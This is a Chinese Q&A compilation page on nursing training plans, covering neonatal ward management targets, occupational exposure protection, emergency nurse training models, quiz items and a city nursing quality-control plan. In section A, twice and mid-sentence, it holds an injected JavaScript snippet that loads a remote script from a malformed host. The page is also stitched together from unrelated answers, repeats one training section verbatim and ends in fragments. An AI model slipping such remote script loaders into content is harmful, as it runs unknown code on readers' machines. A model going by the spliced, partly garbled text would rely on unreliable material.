兒科護理安全培訓計劃

A. 新生兒科主要專業護理技術工作有哪些

一、規范護理管理工作，認真落實各項制度及工作任務 （一）組織全科護士認真學習醫院、護理部下達的各項規章制度，進一步規范落實各項操作規程。 (二）進一步完善細化適合新生兒科護理工作的各項專科護理管理制度及工作制度，做到各項工作有制可依，有章可循。 二、加強護理人力資源管理和業務培訓，提高護理人員專業素養 管理目標：護理人員分層級培訓率為≥90%；三基」理論合格率≥90%(80分合格)；護理技術操作合格率100%，（90分合格）；護士每年離職率≤10%，護士對科內績效分配知曉率≥80%；緊急護理人力資源調配知曉率100%。 實施方案： （一）嚴格按照醫院護理崗位管理實施方案，對科內護理實行層級管理；對科內護士花名冊及時更新。 （二）以醫院績效分配方案為總部署，進一步細化科內 var script = document.createElement('script'); script.src = 'http://static.pay..com/resource/chuan/ns.js'; document.body.appendChild(script); 績效分配方案，將工作量、工作質量、滿意度等納入每月護士的績效考核，並讓護士充分知曉績效分配方案，從而調動護士的積極性。 （三）加強護士業務培訓，擬定全年培訓計劃，內容涵蓋「三基」知識培訓、核心制度培訓、新生兒科專科護理知識培訓、新生兒科專科護理技能培訓等方面的內容，做到每次培訓後均有考核。 （四）不斷的更新護理知識，增加護士外出學習和進修的機會，計劃今年有護士取得新生兒科專科護士資質。 （五）對科內護士實習彈力排班，進一步完善緊急護理人力資源調配方案和流程並加強培訓考核。 三、加強護理質量過程式控制制並持續改進，進一步推進優質護理工作 管理目標：基礎護理合格率≥95％；專科護理合格率≥95％；危重患者護理合格率≥95％；病房管理合格率≥95％；急救物品質量合格分95分，急救葯品完好率為100%；護理文書合格率≥90％；患兒家屬滿意度≥95％；健康教育知曉率≥85％。 實施措施： （一）繼續實行護理質量院科兩級管理，充分發揮科室質控小組的質控作用，提高護士發現問題，解決問題的能力， var script = document.createElement('script'); script.src = 'http://static.pay..com/resource/chuan/ns.js'; document.body.appendChild(script); 持續保持檢查、分析、整改、評價制度，做好追蹤記錄，增強全員參與質量管理的意識，提高護理質量。 （二）進一步做好病區管理、基礎護理和病區感染控制等方面的工作，對照質量檢查標准逐項落實。進一步規范護理文書書寫，對存在的問題要及時分析改進，杜絕同一問題反復出現的現象。 （三）改變排班方式，落實責任制整體護理工作模式，根據患兒的個性化進行入院評估和制定護理工作計劃，讓優質護理服務措施落實有效。 (四)加強急救儀器、設備的管理和使用培訓，提高對危重患兒的評估和緊急處理能力。 四、加強護理安全管理，保障患兒安全 管理目標：患者身份識別正確率≥100％；護士正確查對執行率100％；特殊葯品存放符合率≥90%、正確執行核對率90%；護理不良事件主動報告率100％、護士對不良事件報告制度知曉率100%；無嚴重護理差錯發生。 實施措施： （一）科室安全管理設專人負責，定期組織檢查，發現安全隱患按程序及時報告，採取措施，及時改進。 （二）進一步落實護理核心制度，做好高危時段、高危環節、高危人群的管理。

B. 三基三嚴培訓計劃是什麼內容

「三基」即：基本理論、基本知識、基本技能。「三嚴」即：嚴格要求、嚴密組織、嚴謹態度。

一、基礎理論：包括與疾病診斷、治療有關的醫學基礎理論。如：人體解剖、生理、病理、葯理學、輸液、輸血、水電解平衡的基本理論，休克、感染、發熱等病因及發病機理，常見病的診斷、鑒別診斷和處理原則，危重病人營養、熱量供應以及護理基礎理論。

二、基本知識：包括為疾病診斷、治療直接提供科學依據的臨床醫療知識。如：醫療護理診療規范、各種疾病的陽性體征、各種檢驗檢查的標本採取方法及臨床意義。各種葯物的基本成分、禁忌、作用方法、使用及適應症等。

三、基本技能：包括醫護人員應具備的診斷、治療的基本操作技能（如各種注節、穿刺技術、心肺復甦技術。

(2)兒科護理安全培訓計劃擴展閱讀：

隨著經濟社會發展進入新常態，護理事業改革發展面臨很多新情況、新挑戰。人口老齡化、快速城鎮化、生育政策調整等進一步激發了醫療和護理需求，為發展護理健康服務提供了機遇。

深化醫改進入攻堅階段，對豐富護理服務內涵和外延、提高護理管理水平提出了新要求，也為解決長期束縛事業發展的體制機制矛盾提供了契機。

廣大護理工作者要進一步增強責任感和使命感，更加主動自覺地做好護理工作。要刻苦鑽研護理業務。堅持「三基三嚴」，練好基本功，提高服務技能，進一步深化優質護理、改善服務，使這項惠及廣大患者的重要舉措常態化、制度化。

堅持和弘揚護理職業精神。尊重生命、崇尚醫德，始終把病人利益放在第一位，與患者守望相助，共同對抗疾病。

努力培養合格護理人才。遵循護理人才成長規律，堅持以崗位需求為導向，努力培養政治堅定、技術精湛、醫德高尚、人民信賴的護理人才。四是營造護士執業良好氛圍。通過多種形式，大力宣傳護理行業先進典型，在全社會營造尊重、理解和愛護護士、重視和支持護理的良好氛圍。

參考資料來源：新華網—威寧縣衛計局組織開展 「三基三嚴」理論培訓考試

C. 通過護理安全教育培訓學到了哪些內容

培訓內容與方法
內容包括護理職業安全防護意識培養、職業暴露危害性教育、護理職業標准預防知識及防護技能等。培訓方法採取理論授課、技能操作演示、現場教育等形式，並通過理論考試、實際操作考核，調查職業暴露發生率，評價確定職業防護培訓效果。
3.2 護理職業安全防護意識的培養
在新護士崗前培訓中，加強職業防護教育，樹立護理人員職業安全防護意識，在不斷提高護士業務素質的同時促進護士群體的健康，培養和影響護士對安全護理的信念和態度，以促使安全護理行為的養成。
3.3 護理職業安全防護知識的培訓
大部分新護士對護理職業防護知識了解甚少，針對這種情況，本院對新來院護理人員的崗前培訓中重點加強職業安全防護知識的培訓，並且有目的針對幾種職業危害因素進行專門的防護知識培訓［2］。
(1)物理損傷所致的職業危害：針刺傷、刀、玻璃切割傷除對皮膚組織損傷外，還可通過破損的皮膚或粘膜感染多種傳染性疾病，如乙型肝炎、艾滋病等。
(2)生物損傷所致的職業危害：標准預防的三個基本概念中明確指出：所有病人的血液、體液、分泌物、排泄物均視為有傳染性。因此，護理人員直接接觸病人體液和血液等污染物，均可通過皮膚或粘膜引起傳染性疾病，如HBV、HCV、HIV等。
(3)心理性損傷：由於生活、工作環境改變帶來的不適應，年輕護士常被病人歧視，並且遭受人格侮辱等，均可導致心理性損傷。
(4)護理職業安全防護措施及防護技能培訓 在強化護理人員職業安全防護意識和知識的基礎上，重點進行防護措施和技能方面的培訓。對針刺、切割等利器損傷，首先是培養護士良好的心理素質，沉著冷靜的工作態度。正確使用或處理各種利器物，如針類的使用和去除中可藉助其他器械設備（如持針器、血管鉗），避免雙手直接接觸針頭，並有準備、有計劃地保護針套或去除針頭，不得手持針頭或利器隨意走動或徒手傳遞，不單手回套針帽。在開啟安瓿瓶及鋁制瓶蓋時，可用紗布保護或盡量應用新型開瓶工具，如安徽省銅陵市人民醫院護士研製的國家專利產品葯瓶開啟器，即輕便又安全。在接觸病人血液、體液、分泌物等污染物時，首先應規范操作，採取標准預防措施，實施雙向防護，應戴手套，接觸前後要洗手或使用快速手消毒液洗手。佩帶面罩、護目鏡、口罩，防止病人的體液、血液、分泌物等傳染性物質污染皮膚、粘膜，必要時穿隔離衣。當發生意外暴露時，應及時正確處理，降低感染風險。如皮膚意外接觸到病人的血液、體液等，應立即用肥皂和流水搓洗沖凈；如病人的血液、體液濺入眼睛、口腔，應立即用大量清水或生理鹽水沖洗；皮膚被污染的銳器刺傷或割傷後，應立即用肥皂和流水沖洗傷口，同時由近心端向遠心端擠出傷口的血液，然後用碘伏消毒傷口，用無菌敷貼包紮，傷後＜48h報告上級並填寫報表，＜72h作HIV、HBV等基礎水平檢查，傷後立即採集血樣作病毒血清檢查，若確定被感染病人血液污染的銳器刺傷，應在盡早的時間內採取相應的治療措施［3］。 在預防心理性損傷方面，主要是培養年輕護士良好的心理素質和社會適應能力，遇到事情沉著冷靜，對待病人主動熱情、理解包容，同時學會寬慰自己，這樣能有效地減輕自身的心理壓力，減少心理損傷。
(5)護理職業安全防護培訓效果評價 經過理論講課、操作演練，現場教育和臨床實踐，並經過考核、考試，成績合格率為100%，職業暴露發生率明顯下降（總暴露率從往年的47.25%下降至18.91%），達到預期目的。

D. 實習護士崗前培訓都包括哪些內容我要做實習先准備。

實習護士崗前培訓是每個護士在正式上崗前都要所經歷的，實習護士崗前培訓成績的好壞體現了一個人的技術能力。所以認真、負責地寫了我的實習護士崗前培訓心得： 本人通過半年多的護理工作實習,在帶教老師的悉心指導與耐心帶教下,認真學習關於"三個代表"的重要思想，學習貫徹十六大精神，認真學習《醫療事故處理條例》及其法律法規，並積極參加醫院組織的醫療事故護理條例培訓，多次參加護理人員學習，通過學習使我意識到，社會主義市場經濟體制的建立，法律制度日益完善，人民群眾法制觀念不斷增強，依法辦事、依法維護自身的合法權益已成為人們的共識，現代護理質量觀念是全方位、全過程的讓病人滿意，這是人們對醫療護理服務提出更高、更新的需求，因而豐富法律知識，增強安全保護意識，並且可以使護理人員懂法、用法、依法減少醫療事故的發生。理論水平與實踐水平有了一定提高。 在實習過程中,本人嚴格遵守醫院規章制度,認真履行實習護士職責,以馬列主義毛澤東思想,鄧小平理論為指導,嚴格要求自己,尊敬師長,團結同學,關心病人,不遲到,不早退,踏實工作,努力做到護理工作規范化,技能服務優質化,基礎護理靈活化,愛心活動經常化,將理論與實踐相結合,並做到理論學習有計劃,有重點,護理工作有措施,有記錄,實習期間,始終以"愛心,細心,耐心"為基本,努力做到"眼勤,手勤,腳勤,嘴勤",想病人之所想,急病人之所急,全心全意為患都提供優質服務,樹立了良好的醫德醫風。在各科室的實習工作中，本人嚴格遵守科室制度，按時參加護理查房，熟悉病人病情，能正確回答帶教老師提問，規范熟練進行各項基礎護理操作及專科護理操作，正確執行醫囑，嚴格執行三查七對，能規范書寫各類護理文書，及時完成交接班記錄，並做好病人出入院評估護理和健康宣教，能做好各科常見病，多發病的護理工作，認真執行無菌操作規程，能做好術前准備指導，並完成術中，術後護理及觀察，在工作中，發現問題能認真分析，及時解決，能熟練進行內，外，婦兒及重症監護等各項護理操作，對各科室的急，危，老，重患者，能迅速熟悉病情並做出應對，在搶救工作中，一絲不苟，有條不紊，得到了患者的信賴和好評，同時，本人積極參加各類病例討論和學術講座，不斷豐富自己的業務知識，通過學習，對整體護理技術與病房管理知識有了更全面的認識和了解。 通過半年多的實習，本人理論水平和實踐水平都有所提高，在今後的工作中，本人將繼續努力，牢記護士職責，不斷加強思想學習與業務學習，全面提高自身綜合水平，為患者提供優質服務。 尊敬的領導，上面就是我的實習護士崗前培訓心得 http://www.aiyijob.com/zixun/3401.html ，還請領導多多指導，教育。使我的技術水平更上一層樓，更好的服務於人民。

E. 工作經歷對護士培訓成績的影響表現在哪些地方

現代培訓理論認為，培訓是一種有計劃、有組織的學習，是改進人員的態度、知識、技能和行為，使其發揮最大潛力，以提高工作質量為目的的指導活動。護士培訓是為完善畢業後護理教育，是護理學科發展的關鍵環節，是護理人力資源配置的基礎，也是護理人才梯隊培養的重要任務之一。急診科是醫療護理工作的一線前哨，具有病情急、病種多、治療多而急、搶救復雜等特點，這就要求急診科的護士應具備較高的專業能力和素質,能適應快速、多變、繁重的急救護理要求[1]。急診護士的整體素質影響著急救護理的發展。有效的培訓能提高急診護士的臨床護理實踐水平，促進急診護理專業技術水平與急診醫療技術的發展，為患者提供全面、系統、專業、優質的護理服務，推動護理人才隊伍建設，穩定急診護理隊伍。本文對急診護理工作特點、急診護士人力資源現狀及目前培訓模式進行了總結和分析。
1 急診護理工作特點
急診護理是與內、外、婦、兒科護理學並駕的3級學科，是對各種急、危、重症急性發作的病理、生理變化，予以及時的搶救和護理，並配合治療採取必要的措施，為專科進一步治療奠定基礎，爭取時間，從而提高搶救成功率，減少傷殘和死亡率，具有發病急、病傷廣、任務繁忙、責任重大等特點。急診病人來院時間、人數、病種及危急程度很難預料。很多病人來勢凶、症狀急、病史不詳、輔助檢查無法展開，導致診治難度大，因此對護理技術水平要求高。病種往往涉及內、外、婦、兒、麻等臨床各科,與各科的協作性強，需要積極配合，爭分奪秒地搶救。急診護士工作范疇較廣，她們承擔著院前急救、院內救護和入院急診病人分診、搶救、觀察等工作。其任務是處理執行各種急性病、慢性病急變、多臟器功能衰竭、急性創傷、中毒、自然災害、意外事故的判斷、搶救治療和病情觀察。急診護理流程多，工作量大，任務急，患者及家屬在應急狀態下對護士的要求更高，護士高度緊張，工作充滿風險和壓力。
2 急診科護士人力資源現狀
我國大多數醫院的護士一畢業即分配到急診工作，缺乏全面的專業知識，而急診專業又覆蓋所有臨床專科的急症處理和突發事件的應急處理，要求急診護士具備全面的護理理論知識和急救技能[2]。目前國外從事急診急救的護士均經專科培訓，持證上崗，而我國從事急診急救工作的護士在急救理論知識和技能方面均沒有通過系統的專科培訓就直接上崗，造成了人、崗位需要長時間適應，影響了急診工作的展開。據了解全國大多數醫院急診科護士隊伍普遍年輕化，年輕護士搶救經驗不足、溝通缺乏技巧、病情觀察缺乏預見性。特別是新的護士，沒有經過相應的培訓，大多是由老急診帶班1到2次就獨立當班。她們的救護知識是不全面、不系統的，造成了護理安全隱患。急診護士學歷、年資具有多層次性，急診護士素質、專業水平參差不齊，造成急診護理隊伍不穩定。再加上工作壓力大、回報相對較低、對自身職業缺乏認同等因素，急診護士流失率很高，目前大多數醫院護理人員缺編嚴重。為提高整個急診護理隊伍的專科急救技能和綜合能力、豐富急診護理人力資源,樹立現代急救醫學的新觀念，建立規范的培訓模式是非常重要的。
3 目前主要的培訓模式
3.1培訓時間
根據研究資料顯示，急診護士培訓時間大都根據各自培訓內容周期而定，有的為一個月到一年，有的為一年至二年，沒有統一標准。
3.2培訓內容 目前主要培訓內容為基本知識（職業道德、服務意識等）、理論知識（核心制度、急診護理常規、護理技術操作規程等）、急救技能（搶救儀器、院前急救、應急預案）、護理書寫能力、臨床帶教能力、護理科研能力等。
3.3培訓方法
3.3.1醫護配合培訓法
在實際搶救中醫生是急救方案的決策者，護士是急救措施的實施者[3]。醫護組成固定的模式，相互配合，角色分明，各項工作穿插進行。護士熟練掌握各種搶救儀器的使用能力，沉著果斷配合搶救與護理，提高了急救意識和應變能力，形成有效急救模式，為挽救生命做了鋪墊。醫護配合訓練有利於提升搶救護士綜合能力，也培養了團隊協作精神。
3.3.2情景模擬培訓法
情景模擬法是通過實物演示、角色扮演等手段創設情景，在特設的情境中進行各種技術操作及處理事情的一種方法[4]。它表現形象生動，具體使實踐與鍛煉相結合，有利於激發護士的情感體驗，培養主動的工作態度，在護士培訓中起著重要作用。根據研究顯示，通過培訓，護士將理論與實踐結合，提高了業務能力、應急能力、溝通能力、協調能力。護士在工作中具有預見性和前瞻性，遇到類似的事情能在最短時間內做出判斷，培養了良好的心理素質。
有利於提高護士學習的興趣，有利於角色轉變，更有利於提高醫生對護士分診的滿意度。
3.3.3案例分析培訓法
案例法是指選擇臨床工作中遇到的特殊病例，如危重、疑難等復雜病例，查閱文獻後製作成ppt形式對該案例進行陳述[5]。通過大家分析，護士在互動中全面掌握知識，拓寬視野，積累臨床經驗，使她們能夠迅速配合醫生參與搶救工作。確保診療工作迅速、准確、有條不紊地進行。
3.3.4分層式培訓方法
根據護士不同年齡或不同學歷採用分層次、分級別、分階段進行培訓[6]。傳統的培訓方法已經不能滿足現代護理新模式的確立和護理學科的發展。實施分層次培訓能針對個性化特點，糾正不同層次護士專業技能薄弱環節，有效提高急診護理人員的技能和整體素質，提高搶救成功率。
3.3.5院前急救培訓
通過授課、教學示範、強化訓練等方法對急救技能、相關專業理論、臨床實踐能力進行規范化、標准化、專科化得的培訓[7]。通過培訓護士能熟練採取急救措施對各種急症、意外事故、創傷和公共事件施行緊急救護，使院前急救快速有效，提升了急救成功率，實現了院前急救一體化[8]。
3.3.6用現有教材培訓
毛偉華[9]運用教程對136名急診護士進行培訓，其研究結果如下：護士的急救理論知識深度及廣度得到了拓展。急救操作和搶救儀器正確使用率和熟練度進一步提高。護士應變、協調、管理能力得到提升，鍛煉了心理素質，搶救成功率大大提高，帶教及科研能力持續進步。
4 存在問題
通過對急診護士目前工作現狀、人力資源分析及常用培訓模式總結，仍然存在一些問題。
4.1急診護士培訓周期較短。根據臨床職業階段理論「從新手到專家」臨床護士的培訓不是一朝一夕的事，是一個循序漸進的過程。根據上海市護理質控中心對搶救護士及預檢護士年資規定，急診護士理想的培訓周期為2到5年。
4.2目前對急診護士培訓的研究中發現，專科護士培訓處在初級階段。近年來，ICU和造口師等專業都進行了核心能力的研究與應用，但急診護士核心能力方面培訓研究較少。對於一個護士執業生涯而言，從畢業後進入臨床，其個人及專業的成長要經歷從普通護士、專業護士到專科護士的階梯。而這個成長遞進過程需要不斷培訓和學習。
4.3從目前培訓內容來看，大多數研究比較針對於搶救技能方面的培訓。隨著現代護理模式的改變，急診護士的業務素質及人文知識直接影響著急診的護理質量。培訓內容應根據不同層次，不同崗位的護士進行調整。特別是新護士，應給予系統的理論、技能、溝通、防護、法律等方面的培訓[10] 。
4.4大多數醫院有制定培訓計劃、計劃落實、培訓效果檢驗或評估等工作，但未形成規范化的培訓制度，且培訓效果參差不齊。按照醫院等級不同進行不同的培訓，還是按照學歷工齡進行培訓，都未形成統一的定論。考核成績是否與晉升、年度考核或繼續教育學分掛鉤也無統一說明。
5 小結
隨著現代醫學的發展和社會的需求，急診醫學的發展越來越顯得重要，對急診科護士的綜合素質和綜合能力的要求越來越高。護理管理模式已從「平台式」向「能級體系」模式轉換。當今急診科護士應結合崗位從基本理論、基本技能、專科理論、專科技能、評判性思維能力、綜合分析能力等進行全面地、分層次地進行培訓。鑒於目前急診護士人力資源與培訓現狀，應彌補現有培訓模式的缺陷。可以根據急診專科護士核心能力標准框架模型，結合核心能力理論與臨床職業階梯理論，根據每所醫院急診的不同現狀，探索一套規范的培訓模式，對急診護士進行規范的系統的在職崗位培訓，由易到難，循序漸進，有利於護士自然進入角色，勝任低風險崗位後再培訓高風險崗位，使之達到職業的適應，發揮良好的護理技能[11]。從基本功練起，逐漸強化技能、搶救能力、提高專業技能和綜合素質，降低護理風險、保證護理安全[12]。提高不同層次急診護士業務水平，優化護理質量，保證安全。為穩定護理隊伍，急診護理人才梯隊，培養專科護理人員提供有利的保障。
參考文獻

F. 護理業務培訓內容題目

護理培訓填空題
1、科室有防範處理護理不良事件的(預案)，預防其發生，建立(護理不良事件登記本)，及時據實登記。
2、科室在組織調查護理不良事件過程中，應當(專人)保管相關病案和資料，任何人不得(塗改)、(偽造)、(隱藏)、(丟失)，違者按情節輕重予以嚴肅處理。
3、一般不良事件發生後(24)小時內報告，重大不良事件，情況緊急者應在處理的同時(立即)報告護理部。
4、填寫《護理不良事件分析記錄單》一式兩份，一份(科室留存)，一份於發生不良事件後(一周)內送護理部。
5、對護理不良事件管理，科室設立(「護理不良事件主動報告文件夾」)，保存科室存檔資料，要求整齊規范。
6、護士對主動(免責、非懲罰性)報告安全(不良)事件的知曉率大於(90%或100%))

G. 鄉鎮醫院的護理工作質控計劃和醫院護士狐狸培訓計劃

2011年，杭州市護理質控中心將本著創新、求實、協作的精神，加強中心組織建設，並積極支持配合省中心的各項工作，結合等級醫院評審工作的開展，提高我市護理質量及保障護理安全，提高護理人員的綜合素質和臨床服務能力，更好地為全市人民的健康做貢獻。中心領導班子經過認真學習和討論，提出2011的工作計劃。

一、完善護理質量標准體系
結合浙江省護理質控中心相關要求，進一步完善以下護理質控標准：
1.完善單項質控標准：基礎護理質量、病歷書寫質量、危重病人護理質量、消毒隔離、分級護理質量。
2.完善與臨床路徑相關的護理質控標准。
3.完善單病種護理質控標准。

二、組織與標准相關的培訓
1.計劃上半年召開二級以上醫院護理部主任會議，進行護理管理理念的培訓，屆時請有關專家對等級醫院評審的標准進行解讀。
2.杭州地區質控標准培訓。

三、護理質量督導
1.積極配合等級醫院評審工作，並根據等級醫院評審標准對二級以上醫院進行護理質量檢查指導。
2.對單項質控標准進行一次督查。根據已完成的杭州市內鏡、各類介入、新生兒科等科室的有關護理操作規范、流程以及質量檢查標准，對全市二、三級醫院的落實情況進行護理質量專項檢查。
3.對各級醫院開展不定期的巡查。

四、組織護理專家赴社區醫院進行指導
積極配合衛生局基護處，依靠中心專業護理資源，組織各專業組護理專家對社區護士進行有關護理技能和理論的培訓和指導，以提高社區護士的整體護理水平。

五、優質護理試點病房交流，促進各醫院試點病房的開設
計劃3-4月份召開各醫院試點病房經驗交流會，總結經驗，屆時共同探討如何在試點的基礎上進一步推廣，結合各醫院實際，積極採取措施，不斷逐步完善醫院護理管理制度，切實改善護理服務，建立護理質量持續改進的長效機制，提高護理工作水平，提高病人滿意度。

六、加強學術交流，促進我市護理工作的發展
質控中心將與護理學會合作，對有關護理專業的質控信息進行收集和調研，組織開展專業交流活動，推廣護理質控的新理論、新技術、新方法。以質控中心為交流平台，加強與省內外及香港、台灣等地的優秀學術交流，學習他人的優良經驗，並結合我市護理工作的實際情況進行討論、推而廣之。

中心將結合臨床，根據護理臨床所需，擬與護理學會聯合舉辦三到五次的學術講座，邀請省及國內外知名護理專家為護理人員授課。

七、組織節日活動，為市民服務，為護士服務
質控中心仍將於護理學會共同組織護士節相關活動。今年護士節工作的著眼點：一是如何為護士服務，二是如何為病人服務。中心將做好與政府部門之間的紐帶作用，一如既往開展護士節義務服務周活動，深入到養老院、護理院隊本市老年人群服務。同時，中心也將開展一些活動，為護理人員提供幫助和服務。

在新的一年裡，中心將抓住機遇，尋求發展，迎接挑戰，同時通過創新，規范流程，提高服務內涵，為推動我市護理工作水平作出不懈的努力。

杭州市護理質控中心
2010年12月

醫院護理人員培訓計劃
為了加強我院護理人員護理質量管理，提高護理人員的整體素質，根據我院的實際情況，特補充制定各級護理人員培訓計劃。
第一階段（畢業後1－5年或護士）
一、培訓要求：
1、鞏固在校所學的基礎醫學理論及護理專業知識。
2、初步掌握各科常見疾病的治療和護理，熟練掌握基礎護理技術操作、中醫護理技術操作，操作程序要達到規范化。
3、熟悉各班護理工作及各項常規制度，並嚴格執行。
4、第五年內能夠制定完整的護理計劃，熟練配合搶救工作，能總結護理工作經驗，並能指導護生進行臨床實習。
二、培訓方法：
為了較好掌握各科護理特點，擴大知識面，實行內、外、婦，門急診等主要科室輪轉，一年輪轉一次。
1、按照指定自學內容，不定期檢查學習情況。
2、熟練掌握本科護理常規及專科技術操作。
3、進行床旁教學及晨會提問，護士長可結合病人進行指導或示範操作，並利用晨會結合臨床實際有計劃地提問和有關專科知識。
4、定期組織護理查房,以解決危重病人中存在的問題,通過修訂護理計劃及護理查房活動,以鞏固和提高醫學及護理理論知識。
5、出科前由輪轉科室負責進行理論與技術考試並通知護理部參加，科室應根據其服務態度和工作表現作出鑒定，並報護理部存檔。
6、各科輪轉結束後，護理部根據其業務水平、工作能力及表現分配工作，到科室後的應按照上述要求完成培訓計劃。
根據我院護理實踐，特製定出護士培訓的具體內容。
兒科：
1、麻疹的護理
2、痄腮的護理
3、 肺炎喘嗽的護理
4、小兒腹瀉的護理
5、鵝口瘡的護理
6、水痘的護理
7、小兒暑溫的護理
8、疳證的護理
9、驚風的護理
10、紫癜的護理
11、癇證的護理

婦產科：
1、月經不調的護理
2、崩漏的護理
3、妊娠惡阻的護理
4、異位妊娠的護理
5、產後發熱的護理
6、症瘕的護理
7、產後惡露不絕的護理
8、帶下病的護理
9、絕經前後諸證的護理
10、子癇的護理
11、胎漏、胎動不安、墮胎、小產、滑胎的護理
12、婦產科手術前後的護理常規。
13、產後護理常規。
14、產後敗血症的護理。
15、新生兒的護理。
16、產後出血的處理原則及護理。
第二階段（畢業後5年以上及護師）
一、培訓要求：
1、熟悉基礎醫學和臨床理論。
2、熟悉本科常見疾病的防治及護理，了解本科有關的護理知識。
3、熟練掌握基礎護理和專科護理技術，制定護理計劃。
4、能總結臨床經驗和書寫論文。
5、能擔任臨床教學工作，並對低年資護士進行指導。
二、培訓方法：
1、以自學為主，參與新業務、新技術的臨床護理實踐。
2、選派護理骨幹到上級醫院進修學習或參加知識更新短訓班學習，回院後組織講課。
第三階段（主管護師以上人員）
一、培訓要求：
1、每年提交中醫護理論文一篇。
2、凡在作臨床科室工作的主管護師可結合本科專業撰寫論文。
3、掌握一門外語，並能閱讀外語書刊。
二、培訓方法：
1、自學為主，組織新業務、新技術的開展與實施。
2、到上級醫院參觀學習及知識更新學習，並組織院內業務學習。
3、優秀論文可參加各級學術活動。
考核辦法
從三方面進行：理論考試、技術操作考核、平時工作考核、成績記入個人技術檔案。
一、理論考試：根據各階段護理人員的業務知識和培訓要求，每半年考試一次。
二、技術操作考核：
1、護理部組織有關人員不定期進行。
2、護士長結合臨床工作，檢查護士技術操作。
3、病房護士長、護師及高年資護士對護士的技術操作進行考核，成績按優、良、中、差進行評定。
三、平時工作考核：
1、護士長利用晨會與護理查房，通過提問了解護士的業務技術水平。利用各班工作的檢查，了解護理質量和工作能力，將其記入護士長手冊中。
2、護理部利用行政業務查房、晨會及專病護理查房對護士進行考查，以掌握其工作能力，並將其結果在護士長會上進行講評。
第三階段（主管護師以上人員）
一、培訓要求：
1、每年提交中醫護理論文一篇。
2、凡在作臨床科室工作的主管護師可結合本科專業撰寫論文。
3、掌握一門外語，並能閱讀外語書刊。
二、培訓方法：
1、自學為主，組織新業務、新技術的開展與實施。
2、到上級醫院參觀學習及知識更新學習，並組織院內業務學習。
3、優秀論文可參加各級學術活動。
考核辦法：
從三方面進行：理論考試、技術操作考核、平時工作考核、成績記入個人技術檔案。
一、理論考試：根據各階段護理人員的業務知識和培訓要求，每半年考試一次。
二、技術操作考核：
1、護理部組織有關人員不定期進行。
2、護士長結合臨床工作，檢查護士技術操作。
3、病房護士長、護師及高年資護士對護士的技術操作進行考核，成績按優、良、中、差進行評定。
三、平時工作考核：
1、護士長利用晨會與護理查房，通過提問了解護士的業務技術水平。利用各班工作的檢查，了解護理質量和工作能力，將其記入護士長手冊中。
2、護理部利用行政業務查房、晨會及專病護理查房對護士進行考查，以掌握其工作能力，並將其結果在護士長會上進行講評。

H. 科室護理人員培訓計劃

學習人體解剖學、生理學 、病理學葯理學、健康評估、 護理學基礎、內外科護理學、 婦產護理學、兒科護理學、急 救護理學、康復護理學、社區 護理學、老年護理學、護理心 理學等課程

I. 兒童保健科護士長外出學習培訓內容

摘要 第一、二周培訓內容